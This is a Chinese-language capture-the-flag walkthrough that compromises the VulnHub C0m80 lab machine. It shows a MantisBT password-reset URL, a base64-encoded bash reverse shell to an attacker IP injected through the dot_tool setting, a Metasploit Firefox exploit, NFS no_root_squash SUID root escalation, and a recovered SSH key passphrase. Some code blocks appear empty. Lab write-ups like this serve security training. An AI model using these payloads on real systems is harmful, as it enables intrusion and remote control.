C0m80: 1
项目地址:https://download.vulnhub.com/c0m80/C0m80_3mrgnc3_v1.0.ova
是一个打包好的镜像文件
注意:导入 vmx 时一定要选择我已移动,否则没网
使用 Nmap 扫描出开放服务及操作系统版本

扫描目录发现有使用 MantisBT 这个系统

任意密码重置
MantisBT(CVE-2017-7615)
搜索 NDay 发现存在一个任意密码重置漏洞
1 | http://192.168.110.142/bugs/verify.php?confirm_hash=&id=1 |

重置了 bob 的密码后发现登录不成功

换一下 id 改成其他用户的试试

登录成功

RCE
MantisBT(CVE-2019-15715)
登录 MantisBT 后,进入 Manage → Manage Configuration → Configuration Report
设置两个关键选项:
relationship_graph_enable=1dot_tool='echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4wLjIuMTQvNDQ0NCAwPiYx | base64 -d | /bin/bash;'

访问 http://192.168.110.142/bugs/workflow_graph_img.php 触发命令执行
1 | $ nc -klnvp 4444 |
逆向
bestFTPserver
我们首先查找 SUID 二进制文件,并检查它们,看看哪些文件异常
1 | $ find / -perm -u=s 2>/dev/null |
看看内容
1 | $ strings /bin/makebkp |
重点在于
它会将目录的十六进制转储 bestFTPserver.exe 以及 bfsvrdll.dll 当前时间写入文件 /ftpsvr/bkp/ftp104.bkp
1 | date > /ftpsvr/bkp/ftp104.bkp && |
我们可以查看文件夹的权限 /ftpsvr/
1 | $ ls -al /ftpsvr |
我们还知道,在之前收集的信息中,用户 al1ce 是备份组的成员
1 | $ id al1ce |
要进入 b0b 的 shell,我们需要另辟蹊径
还记得这台机器正在nfs运行吗?从我们的机器上,我们可以使用 showmount 该命令查看哪些文件夹可以挂载
我们使用 -e 标志来显示服务器的导出列表
1 | $ showmount 192.168.110.142 -e |
该文件夹包含这两个文件的十六进制转储
在初始 Nmap 扫描中,我们注意到一个非标准端口:
1 | 20021/tcp open unknown |
通过服务指纹识别(-sV)未能直接识别,但手动连接后返回
1 | 220 bestFTPserver 1.0.4 ready... |
这表明该服务是一个名为 bestFTPserver 的自定义 FTP 服务器,版本 1.0.4与常规 FTP 不同,它的行为异常
使用常规 ftp 客户端连接,结果:
- 允许匿名登录(
331 Anonymous login OK, send your e-mail as password),但随后Login failed. - 输入
help返回大量命令列表(看起来像标准 FTP 命令),但实际执行任何命令(如ls,system)都返回502 Unknown ftp command
1 | ftp 192.168.110.142 20021 |
结果发现,b0b 运行 FTP 服务器的正是
1 | $ ps -aux | grep ftp |
改用 telnet 直接与 TCP 端口交互,可以更灵活地发送原始字符串
1 | telnet 192.168.110.142 20021 |
输入 system 命令,返回一段有趣的消息:
1 | Bob was supposed to do this too! |
首先,我们需要获取服务器的源代码。我们可以通过两种方式获取这些文件:
- 使用简单的 Python 3 HTTP 服务器将文件发送到我们的机器
- 将
/ftpsvr/文件夹挂载到我们的机器上,提取 hexdumps,然后使用xxd -r将其转换回来
第一个比较简单,所以就用第一个吧
1 | www-data@C0m80:/ftpsvr$ python3 -m http.server 8081 & |
使用 OllyDBG 逆向发现程序正在将字符串“help”和“HELP”与某些内容进行比较

向下滚动一点,我们看到程序再次将字符串“Send-Report”和“Report-Link”进行比较,我猜这是两个自定义命令

使用 telnet 再次连接,输入 Send-Report
1 | ftp>Send-Report |
输入 Report-Link,提示 insert link:,输入 http://google.com:
1 | ftp>Report-Link |
实际上,靶机上会启动 Firefox 进程(以用户 b0b 的身份)访问该 URL
可以通过 ps aux | grep firefox 确认:
1 | b0b 19413 0.9 2.6 1112316 26800 ? Sl 12:26 0:00 /home/b0b/.wine/drive_c/Program Files/Mozilla Firefox/firefox.exe http://google.com/ |
提权
FireFox(CVE-2012-3993&CVE-2013-1710)
在 www-data Shell 中查找 Firefox 安装日志
1 | /home/b0b/.wine/drive_c/Program Files/Mozilla Firefox/install.log |
使用模块 exploit/multi/browser/firefox_proto_crmfrequest 或 browser_autopwn2
通过 Report-Link 命令向 FTP 服务器发送恶意 URL(指向 Metasploit 监听的恶意页面)
目标 Firefox 访问后触发漏洞,返回 Meterpreter Shell
NFS 配置不当
这一步在横向之后
NFS 服务器配置了 no_root_squash,这意味着客户端root用户与服务器root用户拥有相同的权限,也就是说客户端 uid 0 与服务器 uid 0 相同
1 | $ cat /etc/exports |
在 al1ce Shell 中复制 /bin/sh 到 /ftpsvr/bkp/sh
1 | mount -t nfs 192.168.110.142:/ftpsvr/bkp ./ftpsvr |
更改挂载目录中 sh 的所有者为 root:root 并添加 SUID 位
1 | chown root:root ftpsvr/bkp/sh |
在 al1ce Shell 中执行 ./sh,获得有效用户 ID (euid) 为 root 的 Shell
1 | al1ce@c0m80:/ftpsvr/bkp$ ./sh |
由于实际 uid 仍是 al1ce,某些操作受限,需编译一个自定义程序
1 |
|
编译为 getroot,同样通过 NFS 赋予 SUID 并执行,获得完整 root 权限
横向
PuTTY 代替 SSH
查看 /home/b0b/.ssh
1 | meterpreter > ls |
但是前期并没有扫描出 SSH 服务,通过查看靶机的 SSH 服务配置文件 /etc/ssh/sshd_config,我们发现
1 | Port 65122 |
这意味着 SSH 服务只接受来自本机的连接,不监听任何外部网络接口
同时尝试直接使用 id_rsa 文件时,发现该私钥是加密的
1 | Enter passphrase for key 'id_rsa': |
查看 .save~ 文件
1 | b0b@c0m80 $ cat .save~ |
查找这个文件
1 | www-data@C0m80:/$ find / -name '*PWMangr2*' 2>/dev/null |
使用 meterpreter 将文件下载到计算机,然后用浏览器打开它

数据在源代码中,但已加密
提示是“超级好友”,谁会是鲍勃最好的朋友?游戏中只有三名玩家:爱丽丝、杰夫和鲍勃本人
根据提示 superbuddies 猜测密码为 alice,成功解密得到 SSH 私钥的密码:7M6Kt8tC8X5Qz99@Eeb8592Z$Fd@u286
列出系统上已安装的软件包会发现 PuTTY,并且支持 SSH 连接
1 | $ apt list --installed |
靶机已安装 putty-tools,包含 plink(SSH 客户端)和 puttygen
将 OpenSSH 私钥转换为 PuTTY 格式(.ppk)
1 | puttygen id_rsa -O private -o id_rsa.ppk |
使用 plink 连接本地 SSH
1 | plink -ssh -6 -v -P 65122 al1ce@localhost -i id_rsa.ppk |
输入密码后成功获得 al1ce Shell
1 | www-data@C0m80:/tmp$ puttygen id_rsa -O private -o id_rsa.ppk |